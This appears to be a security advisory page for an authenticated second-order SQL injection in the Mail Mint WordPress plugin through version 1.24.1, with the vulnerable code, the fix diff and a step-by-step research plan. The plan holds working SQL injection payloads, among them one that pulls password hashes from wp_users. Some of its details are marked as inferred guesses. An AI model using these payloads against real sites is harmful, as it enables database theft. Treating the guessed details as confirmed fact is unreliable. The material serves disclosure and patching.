Mail Mint <= 1.24.1 - Authenticated (Administrator+) SQL Injection via 'recipients' Parameter
Description
The Mail Mint – Email Marketing, Newsletter, Email Automation & WooCommerce Emails plugin for WordPress is vulnerable to generic SQL Injection via the 'recipients' parameter in all versions up to, and including, 1.24.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. This is a second-order SQL injection: the malicious payload is first stored unsanitized via a POST request to /mrm/v1/campaigns/ (bypassing filter_recipients() validation because an int-cast of a string like '1) OR ...' evaluates to a real numeric ID), and is then triggered by a subsequent GET request to /mrm/v1/campaigns/{id} that deserializes the recipients and passes the raw id string through array_column() into the vulnerable query.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:NTechnical Details
What Changed in the Fix
Changes introduced in v1.24.2
Source Code
WordPress.org SVNThis research plan outlines the steps required to demonstrate the second-order SQL injection vulnerability in the Mail Mint plugin. ### 1. Vulnerability Summary The Mail Mint plugin is vulnerable to an authenticated (Administrator+) SQL injection. The vulnerability is "second-order," meaning the ma…
Show full research plan
This research plan outlines the steps required to demonstrate the second-order SQL injection vulnerability in the Mail Mint plugin.
1. Vulnerability Summary
The Mail Mint plugin is vulnerable to an authenticated (Administrator+) SQL injection. The vulnerability is "second-order," meaning the malicious payload is stored in the database during one request and executed during a subsequent request.
- Storage Sink: A
POSTrequest to create or update a campaign (/mrm/v1/campaigns/) stores therecipientsparameter. While the plugin performs a validation check (allegedly via a function namedfilter_recipients()), this check is bypassed because casting a string like1) OR ...to an integer results in a valid numeric ID (e.g.,1), satisfying basic "is numeric" checks. - Execution Sink: A
GETrequest to retrieve the campaign details (/mrm/v1/campaigns/{id}) triggers the vulnerability. The stored JSON-encodedrecipientsare deserialized, and theidvalues are extracted (e.g., viaarray_column()) and concatenated directly into an SQL query without proper escaping or preparation (likely in anINclause).
2. Attack Vector Analysis
- Endpoint:
/wp-json/mrm/v1/campaigns/ - Vulnerable Parameter:
recipients - Authentication: Required (Administrator or user with
mint_manage_campaignscapability). - Preconditions: The plugin must be installed and activated.
- Payload Type: Time-based blind SQL Injection (using
SLEEP()).
3. Code Flow
- Entry Point (Storage):
CampaignRoute::register_routesregisters thePOST/EDITABLEroute for/mrm/v1/campaigns/mapping toCampaignController::create_or_update. - Persistence:
CampaignController::create_or_updatecallshandle_campaign_createorhandle_campaign_update. The parameters (includingrecipients) are processed. Therecipientsarray is serialized/stored in the database (likely in thewp_mint_campaignstable). - Entry Point (Trigger):
CampaignRoute::register_routesregisters theREADABLEroute for/mrm/v1/campaigns/(?P<campaign_id>[\d]+)mapping toCampaignController::get_single. - Processing:
get_singleretrieves the campaign data. - SQL Injection Sink: During the retrieval process, the plugin attempts to resolve the recipients' details. It takes the stored
recipientsstring, deserializes it, and uses theidfield from the objects. These IDs are passed to a query (likely viaCampaignRepository) that looks like:SELECT ... FROM ... WHERE id IN ($id_from_payload)
Because the payload is1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -, the resulting SQL becomes:SELECT ... WHERE id IN (1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -)
4. Nonce Acquisition Strategy
The exploitation requires a wp_rest nonce to interact with the REST API using session cookies.
- Create Page: Create a dummy page containing the Mail Mint dashboard (the plugin usually localizes its settings on its own admin pages).
wp post create --post_type=page --post_status=publish --post_title="MailMint Dashboard" --post_content='[mail_mint_dashboard]'(Shortcode inferred from common plugin patterns). - Navigate: Use
browser_navigatetowp-admin/admin.php?page=mail-mint. - Extract Nonce: Use
browser_evalto extract the WordPress REST nonce from the globalwpApiSettingsobject.- JS Variable:
window.wpApiSettings.nonce
- JS Variable:
- Alternate Extraction: If
wpApiSettingsis missing, check the localized script for Mail Mint:- JS Variable:
window.mrm_admin?.nonce(Inferred from standard Mail Mint localization).
- JS Variable:
5. Exploitation Strategy
Step 1: Create a Malicious Campaign (Storage Phase)
Send a POST request to store the payload.
- Method:
POST - URL:
/wp-json/mrm/v1/campaigns/ - Headers:
X-WP-Nonce:[EXTRACTED_NONCE]Content-Type:application/json
- Body:
{
"title": "Exploit Campaign",
"status": "draft",
"type": "regular",
"recipients": [
{
"id": "1) AND (SELECT 1 FROM (SELECT(SLEEP(10)))a)-- -",
"type": "list"
}
]
}
Note: The ID 1 should correspond to a valid list ID in the database to ensure the query reaches the vulnerable logic.
Step 2: Extract Campaign ID
The response from Step 1 will contain the campaign_id. Record this ID.
Step 3: Trigger the SQL Injection (Execution Phase)
Perform a GET request for the newly created campaign and measure the response time.
- Method:
GET - URL:
/wp-json/mrm/v1/campaigns/[CAMPAIGN_ID] - Headers:
X-WP-Nonce:[EXTRACTED_NONCE]
6. Test Data Setup
- User: Ensure an Administrator user is created and logged in.
- List: Create at least one contact list so that a valid recipient ID exists.
wp eval "Mint\MRM\DataBase\Models\ContactGroupModel::insert(['name' => 'Test List', 'slug' => 'test-list', 'type' => 'list']);" - Authentication: Log in to the WordPress dashboard to establish the session.
7. Expected Results
- Step 1: The server should return a
200 OKor201 Createdwith a JSON object containing thecampaign_id. - Step 3: The server response should be delayed by approximately 10 seconds. This confirms the
SLEEP(10)command was successfully executed by the database engine.
8. Verification Steps
After Step 3, verify the storage via WP-CLI:
- Check Database: Query the campaign table directly to see the raw payload stored in the
recipientscolumn.wp db query "SELECT recipients FROM wp_mint_campaigns ORDER BY id DESC LIMIT 1;" - Check Logs: If enabled, checking the MySQL general log will show the malformed query being executed:
SELECT ... WHERE id IN (1) AND (SELECT 1 FROM (SELECT(SLEEP(10)))a)-- -)
9. Alternative Approaches
If time-based blind fails (e.g., due to database timeouts or WAF):
- Error-Based: Use
updatexml()orextractvalue()in theidparameter if the plugin returns database errors in the REST response.- Payload:
1) AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1),0x7e),1)-- -
- Payload:
- Boolean-Based: If the response changes based on whether recipients are found, use boolean payloads.
- Payload:
1) AND (SELECT 1)=1-- -vs1) AND (SELECT 1)=2-- -
- Payload:
Summary
The Mail Mint plugin is vulnerable to an authenticated second-order SQL injection through the 'recipients' parameter. An attacker with administrator-level access can store a malicious SQL payload in a campaign's metadata, which is subsequently executed without proper escaping when the plugin retrieves campaign details or analytics.
Vulnerable Code
// app/API/Controllers/Admin/CampaignController.php (around line 304 and 325 in v1.24.1) $recipients = isset( $params['recipients'] ) ? maybe_serialize( $params['recipients'] ) : ''; $this->repository()->insertOrUpdateMeta( $campaign_id, 'recipients', $recipients ); --- // app/API/Actions/Admin/Campaign/CampaignAnalyticsAction.php (v1.24.1) private function calculate_total_email_sent( $campaign_id, ?array $date_range = null ): int { global $wpdb; $table_name = $wpdb->prefix . 'mint_broadcast_emails'; if ( ! empty( $date_range['start'] ) && ! empty( $date_range['end'] ) ) { return (int) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(id) FROM {$table_name} WHERE campaign_id = %d AND created_at BETWEEN %s AND %s", $campaign_id, $date_range['start'], $date_range['end'] ) ); //phpcs:ignore } return (int) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(id) FROM {$table_name} WHERE campaign_id = %d", $campaign_id ) ); //phpcs:ignore }
Security Fix
@@ -301,7 +301,7 @@ return ''; } - $recipients = isset( $params['recipients'] ) ? maybe_serialize( $params['recipients'] ) : ''; + $recipients = isset( $params['recipients'] ) ? maybe_serialize( $this->sanitize_recipient_ids( $params['recipients'] ) ) : ''; $this->repository()->insertOrUpdateMeta( $campaign_id, 'recipients', $recipients ); $this->save_utm_params( $campaign_id, $params ); $this->save_archive_setting( $campaign_id, $params ); @@ -322,7 +322,7 @@ * @param array $params Request parameters. */ private function save_campaign_meta( $campaign_id, array $params ) { - $recipients = isset( $params['recipients'] ) ? maybe_serialize( $params['recipients'] ) : ''; + $recipients = isset( $params['recipients'] ) ? maybe_serialize( $this->sanitize_recipient_ids( $params['recipients'] ) ) : ''; $total_recipients = isset( $params['totalRecipients'] ) ? $params['
Exploit Outline
The exploitation of this second-order SQL injection involves two distinct phases requiring Administrator or user with 'mint_manage_campaigns' capabilities. 1. Phase 1 (Storage): The attacker sends a POST request to create or update a campaign at the `/wp-json/mrm/v1/campaigns/` endpoint. The `recipients` parameter is populated with a JSON object where the `id` field contains a malicious SQL payload (e.g., `1) AND (SELECT 1 FROM (SELECT(SLEEP(10)))a)-- -`). Because a string starting with a number passes the plugin's basic numeric validation checks when cast to an integer, the raw string payload is serialized and stored in the database metadata. 2. Phase 2 (Triggering): The attacker records the `campaign_id` from the creation response and then sends a GET request to the campaign retrieval or analytics endpoint (e.g., `/wp-json/mrm/v1/campaigns/{id}`). During the retrieval process, the plugin deserializes the `recipients` data and uses the `id` values in an SQL query (typically within an `IN` clause or similar filter) without applying `wpdb->prepare` or escaping to the specific IDs. This executes the stored payload, which can be verified via time-based response delays.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.